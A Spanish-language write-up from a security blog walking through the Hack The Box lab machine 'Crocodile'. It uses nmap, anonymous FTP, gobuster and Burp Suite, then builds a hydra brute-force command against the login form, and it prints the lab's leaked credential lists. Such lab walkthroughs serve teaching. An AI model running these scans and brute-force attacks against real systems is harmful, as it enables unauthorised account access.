Security Layer
Research Articles 🔎🎵👽GitHub
  • Bienvenido a Security Layer
  • 👾Hack The Box
    • 👾HACK THE BOX
    • Archetype
    • Responder
    • Three
  • Crocodile
  • Unrested
  • Shibboleth
  • Active
  • Bastion
  • Access
  • Devel
  • Optimum
  • Cicada
  • Forest
  • Sauna
  • Support
  • 👾Try Hackme
    • 👾TRY HACKME
    • Attacking Kerberos
  • 🛠️Tools
    • 🛠️Tools
    • Suite Impacket
    • SMBmap
    • SMBclient
    • WinPEAS
    • EvilWinRM
  • Wfuzz
  • Responder
  • John The Ripper
  • Gobuster
  • Hydra
  • Ffuf
  • nxc
  • Enum4Linux/Enum4Linux-ng
  • Crear Diccionarios
  • Kerbrute
  • Microsoft Windows
    • MSSQL
    • Glosario
  • ⚠️Scripts
    • Shell.ps1
    • Common shell Payloads
  • Comand Line Tools
    • Comand Line Tools Linux
    • Wget
    • Strings
    • Compartir y descargar recursos
    • Comand Line Tools Windows
    • Enumerar permisos de usuarios
    • Listar o identificar ficheros especificos
  • AWS
    • Conexiones a Bucket s3
Powered by GitBook
On this page

Crocodile

Dificultad: Very Easy - OS: Unix

Enumeración:

┌──(root㉿kali)-[/home/kali]
└─# nmap -sCV -p- --open -T4 -v -n 10.129.6.25 
📌Parámetros
  • -sCV:

    • -sC: Ejecuta scripts de detección predeterminados → Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan información adicional en los puertos abiertos.

    • -sV: Detección de versiones → Intenta identificar el software y su versión en los puertos abiertos.

  • -n: No resuelve nombres de dominio (reduce el tiempo del escaneo).

  • --open: Muestra solo puertos abiertos → Filtra la salida para no mostrar puertos cerrados o filtrados.

  • -T4: Ajusta la velocidad del escaneo → T4 es un nivel "agresivo" que acelera el escaneo, útil en redes rápidas.

  • -v: Modo verbose → Muestra más detalles sobre el progreso del escaneo.

Resultados:

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.14.70
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp            33 Jun 08  2021 allowed.userlist
|_-rw-r--r--    1 ftp      ftp            62 Apr 20  2021 allowed.userlist.passwd
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 1248E68909EAE600881B8DB1AD07F356
|_http-title: Smash - Bootstrap Business Template
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Unix

Si revisamos el resultado del análisis de nmap, el servidor FTP está configurado para permitir el inicio de sesión anónimo: ftp-anon: Anonymous FTP login allowed (FTP code 230) por lo que el siguiente paso es ingresar con ese usuario y buscar recursos expuestos para descargarlos en nuestro equipo:

┌──(root㉿kali)-[/home/kali]
└─# ftp 10.129.6.25                            
Connected to 10.129.6.25.
220 (vsFTPd 3.0.3)
Name (10.129.6.25:kali): Anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> dir
229 Entering Extended Passive Mode (|||40391|)
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp            33 Jun 08  2021 allowed.userlist
-rw-r--r--    1 ftp      ftp            62 Apr 20  2021 allowed.userlist.passwd
226 Directory send OK.
ftp> get allowed.userlist
local: allowed.userlist remote: allowed.userlist
229 Entering Extended Passive Mode (|||44125|)
150 Opening BINARY mode data connection for allowed.userlist (33 bytes).
100% |********************************|    33      306.91 KiB/s    00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (0.20 KiB/s)
ftp> get allowed.userlist.passwd
local: allowed.userlist.passwd remote: allowed.userlist.passwd
229 Entering Extended Passive Mode (|||44430|)
150 Opening BINARY mode data connection for allowed.userlist.passwd (62 bytes).
100% |********************************|    62      388.12 KiB/s    00:00 ETA
226 Transfer complete.
62 bytes received in 00:00 (0.39 KiB/s)
ftp> exit
221 Goodbye.

Una vez que descargamos los recursos expuestos vamos a ver que se tratan de listas con usuarios y contraseñas:

┌──(root㉿kali)-[/home/kali]
└─# cat allowed.userlist
aron
pwnmeow
egotisticalsw
admin
                                                                             
┌──(root㉿kali)-[/home/kali]
└─# cat allowed.userlist.passwd 
root
Supersecretpassword1
@BaASD&9032123sADS
rKXM59ESxesUFHAd
┌──(root㉿kali)-[/home/kali]
└─# gobuster dir -u http://10.129.6.25/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -x php,html  
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.6.25/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 276]
/.html                (Status: 403) [Size: 276]
/index.html           (Status: 200) [Size: 58565]
/login.php            (Status: 200) [Size: 1577]
/assets               (Status: 301) [Size: 311] [--> http://10.129.6.25/assets/]                                                                          
/css                  (Status: 301) [Size: 308] [--> http://10.129.6.25/css/]
/js                   (Status: 301) [Size: 307] [--> http://10.129.6.25/js/]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/config.php           (Status: 200) [Size: 0]
📌Desglose del comando
  • gobuster dir → Indica que se usará el modo "dir" de Gobuster, que sirve para enumerar directorios y archivos en un servidor web.

  • -u http://10.129.6.25/ → Especifica la URL objetivo donde se realizará la enumeración.

  • -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt → Indica la wordlist a utilizar, en este caso, una lista de directorios y archivos comunes de DirBuster.

  • -x php,html → Especifica las extensiones de archivo a buscar. En este caso, buscará archivos con extensiones .php y .html.

De estos directorios el que nos interesa es el /login.php que se ve de la siguiente forma:

Ahora tenemos dos formas de ingresar al panel de login: la manual y la automática. Para la primera opción solo debemos probar cada usuario de la lista users con cada contraseña de la lista passwords hasta que encontremos la combinación correcta que nos mostrará el siguiente dashboard:

  1. Generamos una petición de login y lo interceptamos con Burpsuite

Request:
POST /login.php HTTP/1.1
Host: 10.129.1.15
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Origin: http://10.129.1.15
Connection: keep-alive
Referer: http://10.129.1.15/login.php
Cookie: PHPSESSID=p90dfhmgi33hle7k195i2crj4s
Upgrade-Insecure-Requests: 1
Priority: u=0, i

Username=pepe&Password=pepe&Submit=Login

De este código nos interesan las siguientes líneas: 2 y 17

  1. Con la respuesta del responder podremos setear la segunda parte del comando de hydra

Response:
HTTP/1.1 200 OK
Date: Thu, 27 Mar 2025 18:24:01 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 1978
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8


<!-- HTML code for Bootstrap framework and form design -->

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1">

    <link rel="stylesheet" type="text/css" href="css/bootstrap.min.css">
    <link rel="stylesheet" type="text/css" href="css/signin.css">
    <title>Sign in</title>
</head>
<body>
<div class="container">
    <form action="" method="post" name="Login_Form" class="form-signin">
        <h2 class="form-signin-heading">Please sign in</h2>
        <label for="inputUsername" class="sr-only">Username</label>
        <input name="Username" type="username" id="inputUsername" class="form-control" placeholder="Username" required autofocus>
        <label for="inputPassword" class="sr-only">Password</label>
        <input name="Password" type="password" id="inputPassword" class="form-control" placeholder="Password" required>
        <div class="checkbox">
            <label>
                <input type="checkbox" value="remember-me"> Remember me
            </label>
        </div>
        <button name="Submit" value="Login" class="btn btn-lg btn-primary btn-block" type="submit">Sign in</button>

                        <!-- Show an error alert -->
                &nbsp;
                <div class="alert alert-danger alert-dismissible" role="alert">
                    <button type="button" class="close" data-dismiss="alert" aria-label="Close"><span aria-hidden="true">&times;</span></button>
                    <strong>Warning!</strong> Incorrect information.
                </div>
                
    </form>
</div>

<!-- jQuery (necessary for Bootstrap's JavaScript plugins) -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
<!-- Include all compiled plugins (below), or include individual files as needed -->
<script src="js/bootstrap.min.js"></script>
</body>
</html>

De este código nos interesan la linea 47

Con esta información el comando del hydra nos quedaría de la siguiente manera:

hydra -t 64 -L allowed.userlist -P allowed.userlist.passwd 10.129.1.15 -s 80 -f http-post-form "/login.php:Username=^USER^&Password=^PASS^&Submit=Login:F=Incorrect information."
📌Desglose del comando

-t 64: Define el número de hilos (threads), en este caso, 64. Más hilos aumentan la velocidad, pero pueden sobrecargar el servidor -L allowed.userlist: Lista de nombres de usuario a probar. Cada línea del archivo contiene un usuario diferente. -P allowed.userlist.passwd: Lista de contraseñas a probar. Cada línea del archivo contiene una contraseña. 10.129.1.15: IP del servidor objetivo. -s 80: Especifica el puerto (80 en este caso, HTTP por defecto) -f: Fuerza bruta hasta encontrar un par válido, luego detiene el ataque.

🔹 Protocolo y solicitud HTTP

http-post-form "/login.php:Username=^USER^&Password=^PASS^&Submit=Login:F=Incorrect information."

Este es el formato específico para un ataque de fuerza bruta en un formulario web de login.

📌 Estructura general de http-post-form en Hydra:

http-post-form "RUTA:PARAMETROS:CONDICION_DE_ERROR_O_EXITO"

🔍 Parte por parte:

  1. Ruta de la página de login: /login.php

    • Página donde se envían los datos de autenticación.

  2. Parámetros enviados en la petición POST:

    Username=^USER^&Password=^PASS^&Submit=Login
    • ^USER^ → Será reemplazado por cada usuario del archivo allowed.userlist.txt.

    • ^PASS^ → Será reemplazado por cada contraseña del archivo allowed.userlist.passwd.txt.

  3. Condición de error o éxito:

    F=Incorrect information.
    • F= significa que si Hydra encuentra este texto en la respuesta, la autenticación falló.

    • Si este texto no aparece, significa que el login fue exitoso

📌 ¿Por qué es importante incluir Submit=Login? En algunos formularios web, al hacer clic en el botón de login, se envía un campo adicional en la solicitud HTTP. En este caso, el campo es:

Submit=Login

Si el servidor espera este parámetro para procesar correctamente la autenticación, debemos incluirlo en el ataque de fuerza bruta con Hydra.

¿Qué es http-post-form en Hydra?

En Hydra, http-post-form es un módulo de ataque diseñado para hacer fuerza bruta en formularios web que usan el método POST para enviar credenciales de login.

📌 Función: Le indica a Hydra que el objetivo es un formulario web y que debe enviar las credenciales mediante una solicitud HTTP POST.

Last updated 13 days ago

Con estas listas podríamos autenticarnos en algún panel de login que esté expuesto en la página web del puerto 80, pero para encontrarlo tendremos que recurrir a la técnica de fuzzing de directorios web con :

Para la forma automatizada vamos a realizar un ataque de fuerza bruta con analizando el request y el response con Burpsuite para setear el comando correctamente:

Analizamos el request para configurar la primera parte del comando de y luego enviamos esta solicitud al Módulo Repeater para ver la respuesta del servidor

gobuster
Hydra
hydra